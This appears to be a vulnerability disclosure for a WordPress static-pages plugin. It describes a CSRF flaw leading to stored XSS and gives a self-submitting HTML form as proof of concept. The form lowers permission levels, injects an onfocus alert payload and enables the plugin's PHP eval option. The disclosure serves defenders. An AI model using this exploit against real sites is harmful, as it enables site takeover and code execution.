Due to missing checks the plugin is vulnerable to CSRF attacks which allows changing the plugin settings, including required user levels for specific features. This could also lead to Stored Cross-Site Scripting due to the lack of escaping in some of the settings
<form id="test" action="https://example.com/wp-admin/options-general.php?page=jp-staticpagex.php&action=modifypluginoptions" method="POST">
<input type="text" name="JPSPX_MODIFY_PLUGIN_OPTIONS" value="1">
<input type="text" name="JPSPX_REPLACE_CONTENT_USER_LEVEL" value="1">
<input type="text" name="JPSPX_REPLACE_CONTENT_FOLDER" value='wp-content/staticpages/"autofocus onfocus=alert`XSS`//'>
<input type="text" name="JPSPX_REDIRECT_USER_LEVEL" value="1">
<input type="text" name="JPSPX_INLINE_INCLUDES_USER_LEVEL" value="1">
<input type="text" name="JPSPX_EVAL_PHP_USER_LEVEL" value="1">
<input type="text" name="JPSPX_EVAL_PHP" value="on">
</form>
<script>
document.getElementById("test").submit();
</script>